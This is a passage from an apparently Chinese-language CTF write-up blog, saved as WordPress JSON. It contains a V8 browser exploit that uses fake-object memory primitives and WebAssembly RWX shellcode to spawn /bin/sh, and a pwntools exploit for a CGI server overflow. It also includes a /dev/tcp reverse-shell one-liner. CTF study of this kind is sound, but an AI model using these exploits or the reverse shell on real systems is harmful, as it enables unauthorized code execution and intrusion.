0x10n;\nvar fake_object = fakeObject(fake_object_addr);\n\nfunction read64(addr)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    let leak_data = f2i(fake_object&#91;0]);\n    console.log(\"&#91;*] leak from: 0x\" +hex(addr) + \": 0x\" + hex(leak_data));\n    return leak_data;\n}\n\nfunction write64(addr, data)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    fake_object&#91;0] = i2f(data);\n    console.log(\"&#91;*] write to : 0x\" +hex(addr) + \": 0x\" + hex(data));    \n}\n\nvar wasmCode = new Uint8Array(&#91;0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);\n\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule, {});\nvar f = wasmInstance.exports.main;\n\nvar f_addr = addressOf(f);\nconsole.log(\"&#91;*] leak wasm func addr: 0x\" + hex(f_addr));\n\nvar shared_info_addr = read64(f_addr + 0x18n) - 0x1n;\nvar wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;\nvar wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;\nvar rwx_page_addr = read64(wasm_instance_addr + 0x88n);\n\nconsole.log(\"&#91;*] leak rwx_page_addr: 0x\" + hex(rwx_page_addr));\n\nvar shellcode = &#91;\n    0x2fbb485299583b6an,\n    0x5368732f6e69622fn,\n    0x050f5e5457525f54n\n];\n\nvar data_buf = new ArrayBuffer(24);\nvar data_view = new DataView(data_buf);\nvar buf_backing_store_addr = addressOf(data_buf) + 0x20n;\n\nwrite64(buf_backing_store_addr, rwx_page_addr);\ndata_view.setFloat64(0, i2f(shellcode&#91;0]), true);\ndata_view.setFloat64(8, i2f(shellcode&#91;1]), true);\ndata_view.setFloat64(16, i2f(shellcode&#91;2]), true);\n\nf();\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Fruit_Ninja\"><\/span>Fruit Ninja<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">web pwn<\/p>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/XAAXBZ9@34R7IYAT3SG-1024x383.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"383\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/XAAXBZ9@34R7IYAT3SG-1024x383.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-976\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/65S5GOBD48KM_4F5-1024x402.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"402\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/65S5GOBD48KM_4F5-1024x402.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-978\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e5f\u5c31\u662f\u8981\u60f3\u8fdb\u5165execute_cgi\u51fd\u6570\uff0c\u5fc5\u987b\u8bf7\u6c42\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u53d1\u73b0\u76ee\u5f55\u4e0b\u9762\u521a\u597d\u7ed9\u4e86\u4e00\u4e2a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/5DVAN@4ZE3PSP8E92C6U-1024x307.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"307\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/5DVAN@4ZE3PSP8E92C6U-1024x307.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-979\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">execute_cgi\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>unsigned __int64 __fastcall execute_cgi(unsigned int a1, const char *a2, const char *a3, const char *a4)\n{\n  __int16 v4; \/\/ ax\n  size_t v5; \/\/ rax\n  char v9; \/\/ &#91;rsp+2Fh] &#91;rbp-D31h] BYREF\n  int stat_loc; \/\/ &#91;rsp+30h] &#91;rbp-D30h] BYREF\n  int line; \/\/ &#91;rsp+34h] &#91;rbp-D2Ch]\n  int v12; \/\/ &#91;rsp+38h] &#91;rbp-D28h]\n  __pid_t pid; \/\/ &#91;rsp+3Ch] &#91;rbp-D24h]\n  int pipedes&#91;2]; \/\/ &#91;rsp+40h] &#91;rbp-D20h] BYREF\n  int v15&#91;2]; \/\/ &#91;rsp+48h] &#91;rbp-D18h] BYREF\n  char s&#91;256]; \/\/ &#91;rsp+50h] &#91;rbp-D10h] BYREF\n  char string&#91;256]; \/\/ &#91;rsp+150h] &#91;rbp-C10h] BYREF\n  char v18&#91;256]; \/\/ &#91;rsp+250h] &#91;rbp-B10h] BYREF\n  char dest&#91;512]; \/\/ &#91;rsp+350h] &#91;rbp-A10h] BYREF\n  char s2&#91;21]; \/\/ &#91;rsp+550h] &#91;rbp-810h] BYREF\n  char v21&#91;1003]; \/\/ &#91;rsp+565h] &#91;rbp-7FBh] BYREF\n  char buf&#91;1032]; \/\/ &#91;rsp+950h] &#91;rbp-410h] BYREF\n  unsigned __int64 v23; \/\/ &#91;rsp+D58h] &#91;rbp-8h]\n\n  v23 = __readfsqword(0x28u);\n  line = 1;\n  v12 = -1;\n  strcpy(dest, a2);\n  strcpy(s2, \"A\");\n  if ( !strcasecmp(a3, \"GET\") )\n  {\n    while ( line > 0 &amp;&amp; strcmp(\"\\n\", s2) )\n      line = get_line(a1, s2, 1024LL);\n  }\n  else\n  {\n    line = get_line(a1, s2, 1024LL);\n    s2&#91;15] = 0;\n    if ( !strcasecmp(s2, \"Content-Length:\") )\n      v12 = atoi(&amp;s2&#91;16]);\n    line = get_line(a1, s2, 1024LL);\n    s2&#91;20] = 0;\n    if ( !strcasecmp(s2, \"Authorization: Basic\") )\n    {\n      v4 = strlen(v21);\n      GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);\n    }\n    while ( line > 0 &amp;&amp; strcmp(\"\\n\", s2) )\n      line = get_line(a1, s2, 1024LL);\n    if ( v12 == -1 || strcmp(v18, \"pwner\") )\n    {\n      bad_request(a1);\n      return __readfsqword(0x28u) ^ v23;\n    }\n  }\n  strcpy(s2, \"HTTP\/1.0 200 OK\\r\\n\");\n  v5 = strlen(s2);\n  send(a1, s2, v5, 0);\n  if ( pipe(pipedes) >= 0 &amp;&amp; pipe(v15) >= 0 &amp;&amp; (pid = fork(), pid >= 0) )\n  {\n    if ( !pid )\n    {\n      dup2(pipedes&#91;1], 1);\n      dup2(v15&#91;0], 0);\n      close(pipedes&#91;0]);\n      close(v15&#91;1]);\n      sprintf(s, \"REQUEST_METHOD=%s\", a3);\n      putenv(s);\n      if ( !strcasecmp(a3, \"GET\") )\n      {\n        sprintf(string, \"QUERY_STRING=%s\", a4);\n        putenv(string);\n      }\n      else\n      {\n        sprintf(buf, \"CONTENT_LENGTH=%d\", v12);\n        putenv(buf);\n      }\n      execl(dest, dest, 0LL);\n      exit(0);\n    }\n    close(pipedes&#91;1]);\n    close(v15&#91;0]);\n    if ( !strcasecmp(a3, \"POST\") &amp;&amp; v12 &lt;= 1024 )\n    {\n      recv(a1, buf, v12, 0);\n      if ( !(unsigned int)check_content(buf) )\n        memset(buf, 0, 0x400uLL);\n      write(v15&#91;1], buf, v12);\n    }\n    while ( read(pipedes&#91;0], &amp;v9, 1uLL) > 0 )\n      send(a1, &amp;v9, 1uLL, 0);\n    close(pipedes&#91;0]);\n    close(v15&#91;1]);\n    waitpid(pid, &amp;stat_loc, 0);\n  }\n  else\n  {\n    cannot_execute(a1);\n  }\n  return __readfsqword(0x28u) ^ v23;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u9006\u5411\u5373\u53ef\u5f97\u5230\u901a\u4fe1\u683c\u5f0f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = b'POST \/rule.cgi\\r\\n'\npayload += b'Content-Length: 0\\r\\n'\npayload += b'Authorization: Basic cHduZXI=\\r\\n' #cHduZXI=\u662fpwner\u7684base64\u7f16\u7801<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u51fd\u6570execl(dest, dest, 0LL);\u5b58\u5728\u547d\u4ee4\u6267\u884c\uff0c\u6240\u4ee5\u601d\u8def\u662f\u60f3\u65b9\u8bbe\u6cd5\u7ed9dest\u4f20\u9012\/bin\/sh.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u4ee5\u4e0b\u4ee3\u7801\u5b58\u5728\u6ea2\u51fa\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u628aAuthorization: Basic\u5b57\u6bb5 base64\u89e3\u7801\u540e\u7684\u5b57\u7b26\u4e32\u8d4b\u7ed9\u4e86v18\uff0c\u4f46\u6ca1\u6709\u9650\u5b9aAuthorization: Basic\u7684\u957f\u5ea6\uff0c\u901a\u8fc7v18\u6ea2\u51fa\u80fd\u8986\u76d6\u5230dest:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload1=b'pwner\\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'\/bin\/bash\\x00'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5230\u6b64\u5904\u7684exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\nfrom base64 import *\ncontext.log_level=\"info\"\np=remote(\"node5.anna.nssctf.cn\",21757)\n#p=remote(\"127.0.0.1\",4000)\npayload1=b'pwner\\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'\/bin\/bash\\x00'\npayload2=base64.b64encode(payload1)\n\nprint(payload2)\n\npayload = b'POST \/rule.cgi\\r\\n'\npayload += b'Content-Length: 500\\r\\n'#.format(len(body))\npayload += b'Authorization: Basic '+payload2+b'\\r\\n'\n\np.sendline(payload)\n\np.interactive()\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">cat flag\u65e0\u56de\u663e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/0E__M7_T@U7OO7FTAKX-1024x454.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"454\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/0E__M7_T@U7OO7FTAKX-1024x454.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-980\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u80fd\u9700\u8981\u53cd\u5f39shell\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sh -i >&amp; \/dev\/tcp\/ip\/port 0>&amp;1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u7684\u670d\u52a1\u5668\u6709\u70b9\u95ee\u9898\uff0c\u5f39\u4e0d\u4e0a\uff0c\u5411web\u624b\u6c42\u52a9\uff08<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u529f\u62ff\u5230shell\uff0ccat flag:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\nfrom base64 import *\ncontext.log_level=\"info\"\np=remote(\"node5.anna.nssctf.cn\",21757)\n#p=remote(\"127.0.0.1\",4000)\npayload1=b'pwner\\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'\/bin\/bash\\x00'\npayload2=base64.b64encode(payload1)\n\nprint(payload2)\n\npayload = b'POST \/rule.cgi\\r\\n'\npayload += b'Content-Length: 500\\r\\n'#.format(len(body))\npayload += b'Authorization: Basic '+payload2+b'\\r\\n'\n\np.sendline(payload)\n\np.sendlineafter(b'HTTP\/1.0 200 OK\\r\\n',b'sh -i >&amp; \/dev\/tcp\/ip\/port 0>&amp;1')\np.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/AMWW4M5OD1PSHV8D.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"565\" height=\"650\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/AMWW4M5OD1PSHV8D.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-985\"  sizes=\"auto, (max-width: 565px) 100vw, 565px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Hello_world \u7b7e\u5230\uff1a\u6709\u540e\u95e8\uff0c\u5f00\u4e86PIE\u4e0d\u80fd\u76f4\u63a5\u8986\u76d6\u6210\u540e\u95e8\u51fd\u6570\u5730\u5740\uff0c\u4f46\u662f\u65e0\u4f24\u5927\u96c5\uff0c\u540e\u95e8\u51fd\u6570\u4e0e\u539f\u8fd4\u56de\u5730\u5740 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-937","post","type-post","status-publish","format-standard","hentry","category-game"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/937","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=937"}],"version-history":[{"count":12,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/937\/revisions"}],"predecessor-version":[{"id":986,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/937\/revisions\/986"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=937"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=937"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}